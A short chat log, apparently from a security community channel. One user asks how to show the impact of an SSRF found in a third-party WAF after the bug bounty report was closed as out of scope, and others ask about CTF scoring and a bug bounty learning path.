rancid escarp
#

Hello, everone

I found a ssrf on a web application, but the ssrf is on it's waf impvera. When reported my report was closed as informational, stating it was out of scope for the organization to paych third party
Is there any way I could show it's impact and get a valid report?

Thankyou in advance.

vocal folio
#

This channel is for bug bounty

wispy grove
#

After 4 months I'm planning to attend CTF how to get higher scores?

vocal folio
#

@wispy grove This channel is for bug bounty...

mint estuary
#

Any dedicated path for Bug Bounty on THM ?